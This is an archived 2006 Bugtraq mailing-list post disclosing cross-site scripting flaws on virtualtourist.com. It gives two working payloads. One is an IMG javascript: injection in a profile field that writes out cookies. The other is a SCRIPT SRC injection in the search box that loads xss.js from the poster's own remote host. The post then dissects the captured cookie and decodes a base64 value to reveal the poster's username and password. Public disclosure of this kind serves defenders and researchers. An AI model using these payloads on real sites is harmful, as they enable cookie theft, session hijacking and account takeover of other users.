bugtraq - Virtualtourist.com - XSS with cookie disclosure

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060612085556.16427.qmail@securityfocus.com>
Date: 12 Jun 2006 08:55:56 -0000
From: luny@...fucktard.com
To: bugtraq@...urityfocus.com
Subject: Virtualtourist.com - XSS with cookie disclosure

Virtualtourist.com

Homepage:
http://www.virtualtourist.com

Effected files:
Input boxes of your profile
search destination input box

-------------------------------------------------------

XSS vulnerability with cookie disclosure:

Under the section of "Tell others a little about yourself" the input box "Your External Homepage" does not correctly filter user data input. We can bypass this by escaping quotes and using ending tags. For PoC try putting this in the "Your 

external homepage" box:
">">'>'><""><IMG SRC=javascript:document.write(document.cookie)><"<"<"<'<"">

Screenshots:
http://www.youfucktard.com/xsp/virt1.jpg
http://www.youfucktard.com/xsp/virt2.jpg

And below is our cookie data that was written out:

VTGL3=4213; RMID=48960e9c448d1f20; VTVisit=448d1ffd; RMFS=011FphYUU206xzA; VT=bbd45.443b84e70a5fa06ba8515a

0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC; VTOStamp=448d2150; VTID=NzY5MzQ5fGZ1Y2tpdA==

Now, lets dissect this cookie, I don't know much about it at this time,except a few things:

VTGL3=4213; (maybe our userid #)

RMID=48960e9c448d1f20; (No idea, Registered Member ID #or hash ? )

VTVisit=448d1ffd; (Virtual Tourist Vist=Possibly random string given to this session, or page we were on)

RMFS=011FphYUU206xzA; (No idea, Registered Member something ?)

This next part is huge, and in a few sections:

VT=bbd45.443b84e70a5fa06ba8515a0e0d39db1c|luny666|0|k9pFi7ASw/4c68/7I2/bxg|0|j0qmfs|0|0|UTC;

VT=bbd45. (No idea, Virtual Tourist something)

443b84e70a5fa06ba8515a0e0d39db1c (Looks like a md5 hash, am working to find out if its a pw)

luny666 (This my our username)

0 (No idea, possibly meaning 0, like 1 would mean yes)

k9pFi7ASw/4c68/7I2/bxg (No idea, could be a password)

bxg|0|j0qmfs|0|0|UTC; (No idea)

VTOStamp=448d2150; (VirtualTourist Timestamp string?)

And finally, the best one of all, this one WE DO know what it is:

VTID=NzY5MzQ5fGZ1Y2tpdA==

The above this base64 encoded. When we decode NzY5MzQ5fGZ1Y2tpdA== we see that it says: 

769349|fuckit

And everyone, yes my password for that website is "fuckit". (Don't bother, I only use this password to audit sites) Now, 

we know the users login name (luny666) and password (fuckit).

--------------------------------------------------

XSS Vuln via search destination input box:

For a XSS example try putting:
">">'>'><""><SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<'<"">